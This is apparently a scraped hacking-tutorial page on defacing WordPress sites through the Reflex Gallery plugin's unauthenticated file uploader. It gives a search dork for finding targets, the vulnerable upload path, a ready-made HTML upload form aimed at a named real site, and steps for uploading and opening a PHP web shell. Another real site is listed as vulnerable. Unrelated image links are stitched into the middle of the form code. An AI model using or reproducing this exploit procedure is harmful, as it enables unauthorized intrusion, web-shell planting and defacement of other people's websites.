——————————————————————–
– Dork : inurl:/wp-content/plugins/reflex-gallery/
– Exploit : wp-content/plugins/reflex-gallery/admin/scripts/FileUploader/php.php
– Vuln : {“error”:”No files were uploaded.”}
– My Site Vuln : http://sjoyster.com/
– Script CSRF :
<html>
<title>Reflex-Gallery CSRF</title>
<form method=”POST” action=”http://straightlineinspection.com/wp-content/plugins/reflex-gallery/admin/scripts/FileUploader/php.php” enctype=”multipart/form-data” >
<input type=”file” name=”qqfile”><br>
![[DEFACE] How To Deface with WordPress Reflex Gallery 1](https://storage.googleapis.com/img.anonyviet.com/wp-content/uploads/2019/11/google-site-kit-1-120x86.jpg "[DEFACE] How To Deface with WordPress Reflex Gallery 2")
![[DEFACE] How To Deface with WordPress Reflex Gallery 2](https://storage.googleapis.com/img.anonyviet.com/wp-content/uploads/2018/11/aumentare-visite-e-traffico-sito-blog-120x86.jpg "[DEFACE] How To Deface with WordPress Reflex Gallery 4")
<input type=”submit” name=”Submit” value=”Pwn!”>
</form>
</html>
———————————————————————-
Okay Lets Go to Tutorial
– Save script CSRF [ reflex.html ] – Change The Site , to site Vuln
– Save
– Chek The Vuln
– Oh yeah , that vuln 😀
– Open The Script in the Browser
– Upload your shell
– bcc.php is my shell 🙂
– Click ” Pwn!”
– Succses 😀
– Open your Shell in the :
[ site.com/wp-content/uploads/shell.php
![Dork Upload File FCKeditor [Update]](https://storage.googleapis.com/img.anonyviet.com/wp-content/uploads/2016/01/TheAppleHackAndWhatItMeansToYou-350x250.jpg "[DEFACE] How To Deface with WordPress Reflex Gallery 8")
![Admin Login Bypass [0day] 1](https://storage.googleapis.com/img.anonyviet.com/wp-content/uploads/2015/12/kUwvo30-350x250.png "[DEFACE] How To Deface with WordPress Reflex Gallery 10")
![[DEFACE] How To Deface with WordPress Reflex Gallery 3](https://storage.googleapis.com/img.anonyviet.com/wp-content/uploads/2020/07/57-120x86.jpg "[DEFACE] How To Deface with WordPress Reflex Gallery 14")
